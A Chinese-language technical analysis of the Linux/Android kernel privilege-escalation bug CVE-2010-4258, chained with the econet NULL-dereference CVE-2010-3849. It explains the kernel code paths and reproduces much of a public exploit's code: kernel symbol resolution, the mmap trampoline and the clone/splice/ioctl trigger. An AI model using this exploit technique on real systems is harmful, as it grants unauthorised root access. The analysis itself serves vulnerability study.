Root exploit for Android and Linux（CVE-2010-4258）

/*

本文章由 莫灰灰 编写，转载请注明出处。  

作者：莫灰灰    邮箱： [e-mail]

*/

一. 漏洞简介

CVE-2010-4258这个漏洞很有意思，主要思路是如果通过clone函数去创建进程，并且带有CLONE_CHILD_CLEARTID标志，那么进程在退出的时候，可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。

二. 前置知识 (进程创建、退出)

1.当fork或者clone一个进程在的时候， copy_process执行如下操作：

static struct task_struct *copy_process(unsigned long clone_flags,                                        unsigned long stack_start,                                        struct pt_regs *regs,                                        unsigned long stack_size,                                        int __user *child_tidptr,                                        struct pid *pid,                                        int trace){        p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;        /*         * Clear TID on mm_release()         */        p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;}

如果clone的flag带有CLONE_CHILD_CLEARTID标志，那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。

2.应用层调用clone函数，并传递CLONE_CHILD_CLEARTID标志，则child_tidptr指针就会被赋值给子进程的clear_child_tid

clone((int (*)(void *))trigger,              (void *)((unsigned long)newstack + 65536),              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,              &fildes, NULL, NULL, child_tidptr);

3.进程在退出的时候调用do_exit清理资源，调用路径如下：do_exit->exit_mm->mm_release

/** If we're exiting normally, clear a user-space tid field if* requested.  We leave this alone when dying by signal, to leave* the value intact in a core dump, and to save the unnecessary* trouble, say, a killed vfork parent shouldn't touch this mm.* Userland only wants this done for a sys_exit.*/if (tsk->clear_child_tid) {if (!(tsk->flags & PF_SIGNALED) &&    atomic_read(&mm->mm_users) > 1) {/* * We don't check the error code - if userspace has * not set up a proper pointer then tough luck. */put_user(0, tsk->clear_child_tid);sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1, NULL, NULL, 0);}tsk->clear_child_tid = NULL;}

上述代码中，如果tsk->clear_child_tid不为空，那么其会调用put_user(0, tsk->clear_child_tid);

4.put_user其实是一个宏，具体是__put_user_check函数，它会将tsk->clear_child_tid的值置为0

#define __put_user_check(x,ptr,size)\({\long __pu_err = -EFAULT;\__typeof__(*(ptr)) __user *__pu_addr = (ptr);\__typeof__(*(ptr)) __pu_val = x;\if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))\__put_user_size(__pu_val, __pu_addr, (size),\__pu_err);\__pu_err;\})

__put_user_check函数会调用access_ok去检查传进来的参数是否合法

#define access_ok(type,addr,size)_access_ok((unsigned long)(addr),(size))int _access_ok(unsigned long addr, unsigned long size){if (!size)return 1;if (!addr || addr > (0xffffffffUL - (size - 1)))goto _bad_access;if (segment_eq(get_fs(), KERNEL_DS))return 1;if (memory_start <= addr && (addr + size - 1) < memory_end)return 1;_bad_access:pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n", current->pid, addr, size);return 0;}

access_ok也是一个宏，具体函数为_access_ok，其主要对外部传进来的addr和size参数做合法性检查，其中关键调用语句如下

if (segment_eq(get_fs(), KERNEL_DS))
return 1;

# define get_fs() (current_thread_info()->addr_limit)

如果get_fs() = KERNEL_DS，那么_access_ok检查始终返回1.

三. 前置知识（无效地址访问异常）

每当我们访问一个无效地址的时候，系统便会执行do_page_fault去生成异常日志，结束异常进程等。

int do_page_fault(struct pt_regs *regs, unsigned long address,  unsigned int write_access, unsigned int trapno){// ......die("Oops", regs, (write_access << 15) | trapno, address);do_exit(SIGKILL);}

而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件，这个很关键。

接下来看看CVE-2010-3849这个漏洞，它主要是一个0地址访问异常漏洞，msg->msg_name可以由用户空间控制，因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。

static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,                          struct msghdr *msg, size_t len){             struct sock *sk = sock->sk;      struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;                      eb->cookie = saddr->cookie;}

四. 漏洞利用

1.获取需要用到的函数地址

 /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

2.申请一块新进程的栈空间

if(!(newstack = malloc(65536))) {                printf("[*] Failed to allocate memory.\n");                return -1;        }

3.处理好需要映射的地址，比较关键

// econet_ops中保存了各个econet函数的地址指针，// 10 * sizeof(void *)到达econet_ioctl的下一个函数地址// 再-1，那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节target = econet_ops + 10 * sizeof(void *) - OFFSET; // 清掉econet_ioctl函数的高8字节landing = econet_ioctl << SHIFT >> SHIFT;// landing按页对齐，map了2个页的内存payload = mmap((void *)(landing & ~0xfff), 2 * 4096,                       PROT_READ | PROT_WRITE | PROT_EXEC,                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) {           rintf("[*] Failed to mmap() at target address.\n");           return -1;}// 将提权代码拷贝到landingmemcpy((void *)landing, &trampoline, 1024);

ps.这里要说明一下，这里为什么要把地址映射到（econet_ioctl&0x00FFFFFF）地址范围内，而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了，所以采用了一个很巧妙的小技巧。

可以调用查看下系统最低映射的地址，我这里是65536

4.clone进程

// trigger用来触发CVE-2010-3849漏洞，是一个0地址访问异常int trigger(int * fildes){        int ret;        struct ifreq ifr;         memset(&ifr, 0, sizeof(ifr));        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);         ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);         if(ret < 0) {                printf("[*] Failed to set Econet address.\n");                return -1;        }         splice(fildes[3], NULL, fildes[1], NULL, 128, 0);        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);         /* Shouldn't get here... */        exit(0);}// clone进程，子进程调用trigger触发0地址访问的漏洞，进而将target指向的地址清0// 即清掉了econet_ioctl函数地址的高8字节clone((int (*)(void *))trigger,              (void *)((unsigned long)newstack + 65536),              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,              &fildes, NULL, NULL, target);

5.最后ioctl函数触发底层的econet_ioctl函数执行，而econet_ioctl函数的高8字节已经被我们清零了，所以会调用到我们的map地址中，进而触发提权代码获得root权限

sleep(1);printf("[*] Triggering payload...\n");ioctl(fildes[2], 0, NULL);

参考文章：

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

http://www.exploit-db.com/exploits/15704/

http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9